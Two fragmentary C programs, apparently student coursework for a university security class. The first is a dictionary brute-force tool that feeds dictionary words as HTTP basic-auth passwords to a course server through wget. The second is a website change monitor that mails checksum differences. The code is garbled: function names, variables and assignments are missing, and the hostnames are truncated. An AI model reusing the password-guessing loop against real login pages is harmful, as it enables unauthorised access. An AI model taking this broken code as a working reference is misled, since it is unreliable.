



#include <stdio.h>
#include <stdlib.h>

int ()	
{
	
  		char pasword[20];
	
		char username[]="";
		int ;				
		
  
		 
		int  counter=0;	
		char get[96];
  
  		FILE* fp;
		
		 fp = fopen("/usr/share/lib/dict/words","r");

		  	
  
			while ( fscanf(fp,"%s",&pasword) != EOF  )
			{
				 if(strlen(pasword) > 3) continue; 
				

				counter ++; 
				printf("%d         >> The Password is : %s \n",counter, pasword);
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
  
				

				=system(get);
				if(==0) 
   				{
					printf("The Password has been cracked and it is : %s  " , pasword);
				
					exit(0);
			}

		} 
		
} 



#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>


int ()
{
  FILE *fp ,*fp1;
  char pass[15], *getWord;
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir previous");
  system("mv www.cs.rmit.edu./images/*.*   previous/");
  system("mv www.cs.rmit.edu./students/*.* previous/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum1.txt");
  sleep(10000);
  system("cd .. ");
  system("cd .. ");
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir current");
  system("mv www.cs.rmit.edu./images/*.*  current/");
  system("mv www.cs.rmit.edu./students/*.* current/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum2.txt");
  system("diff cksum1.txt cksum2.txt> checksumdifference.txt");
  system("diff previous current > difference.txt");
  fp1 =fopen("difference.txt","r");
  getWord = fgets(pass, 15, fp1);
  if(strlen(getWord)!= 0)
  system("mailx -s   \"Difference in  \"    < difference.txt ");
  fp =fopen("checksumdifference.txt","r");
  getWord = fgets(pass, 15, fp);
  if(strlen(getWord)!= 0)
    system("mailx -s  \"Difference in \"   < checksumdifference.txt");

  return 0;
}
